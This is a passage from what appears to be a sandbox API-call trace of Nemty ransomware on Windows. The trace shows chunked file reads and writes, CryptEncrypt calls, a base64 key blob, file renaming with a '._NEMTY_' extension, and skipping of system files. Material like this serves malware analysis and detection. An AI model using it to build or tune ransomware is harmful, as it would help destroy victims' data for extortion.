lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.690] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.700] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.700] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.700] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.700] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.709] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.709] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.709] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.709] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.718] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.718] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.718] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.718] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.729] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.729] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.729] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.729] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.738] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.739] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.739] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.739] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.745] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.745] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.745] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.745] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.751] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.751] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0066.751] CloseHandle (hObject=0xffffffff) returned 0 [0066.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0066.751] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0066.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0066.751] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0066.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0066.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0066.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0066.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0066.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0066.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0066.751] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-background.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-background.png._nemty_kgobjgd_")) returned 0 [0066.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0066.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0066.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0066.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0066.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0066.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0066.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0066.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0066.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0066.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0066.752] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710fd60c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710fd60c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc32, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0066.752] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2=".") returned 1 [0066.752] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="..") returned 1 [0066.752] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="...") returned 1 [0066.752] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="windows") returned -1 [0066.752] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="$RECYCLE.BIN") returned 1 [0066.752] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="rsa") returned -1 [0066.752] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="NTDETECT.COM") returned -1 [0066.752] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="ntldr") returned -1 [0066.752] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="MSDOS.SYS") returned -1 [0066.752] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="IO.SYS") returned -1 [0066.752] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="boot.ini") returned -1 [0066.752] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="boot.ini") returned -1 [0066.752] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="AUTOEXEC.BAT") returned -1 [0066.752] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="ntuser.dat") returned -1 [0066.752] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="desktop.ini") returned -1 [0066.752] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="CONFIG.SYS") returned -1 [0066.752] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="RECYCLER") returned -1 [0066.752] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="BOOTSECT.BAK") returned -1 [0066.752] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="bootmgr") returned -1 [0066.752] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="programdata") returned -1 [0066.752] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="appdata") returned -1 [0066.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0066.752] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-highlight.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0066.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0066.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-highlight.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-highlight.png", lpUsedDefaultChar=0x0) returned 24 [0066.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0066.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0066.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-highlight.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0066.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0066.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-highlight.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-highlight.png", lpUsedDefaultChar=0x0) returned 24 [0066.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0066.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0066.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0066.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0066.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-highlight.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0066.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0066.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-highlight.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-highlight.png", lpUsedDefaultChar=0x0) returned 24 [0066.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0066.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0066.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-highlight.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0066.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0066.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-highlight.png", cchWideChar=24, lpMultiByteStr=0x4f9ed58, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-highlight.png", lpUsedDefaultChar=0x0) returned 24 [0066.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0066.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0066.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0066.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0066.753] Sleep (dwMilliseconds=0x5) [0066.779] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdb7141b0, dwHighDateTime=0x1d561e7)) [0066.779] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdb7141b0, dwHighDateTime=0x1d561e7)) [0066.779] GetLastError () returned 0x5 [0066.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0066.779] GetLastError () returned 0x5 [0066.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0066.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0066.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0066.779] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0066.779] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0066.779] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0066.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0066.779] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="xsfc/6WQnMZaxUd+BpJRfHEllTX2LZCk1Y7pkitypuPeKaQSTQBSQbwVV5m5295i\r\nLW6cYNVTNMEfEzY8wjZhf9npco6Q4hgvMGnevRsfz0niN7SVWZjvJim4IlYletNm\r\nzvdw7502LYHXOiITAS7TM7C7JbTLWOTLTser2CNQsfDl8Z2+yjBlWKv31Q+gnRlJ\r\nYoJ0QU247pdQ82bSMsDWIA/dM+BxUG/xfHB8R8Zlp7F8307YsVhmRuHUUVqeVIiK\r\nOreHiaWHhSoeLzZ7di/slpFD7x53Rsj3iojsNXHmgC697mbDxcUsJTpCDQnoLJvj\r\nXLNWBx9J2R57oSyHaGHBfw==\r\n", pcchString=0x653e91c) returned 1 [0066.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0066.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0066.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0066.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0066.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0066.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0066.780] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.780] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0066.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0066.780] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.780] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.789] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.789] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.790] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.790] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.799] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.799] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.799] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.799] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.808] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.808] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.808] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.808] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.818] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.818] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.818] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.818] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.829] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.829] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.829] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.829] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.838] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.838] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.838] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.838] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.847] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.848] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.848] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.848] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.857] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.857] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: 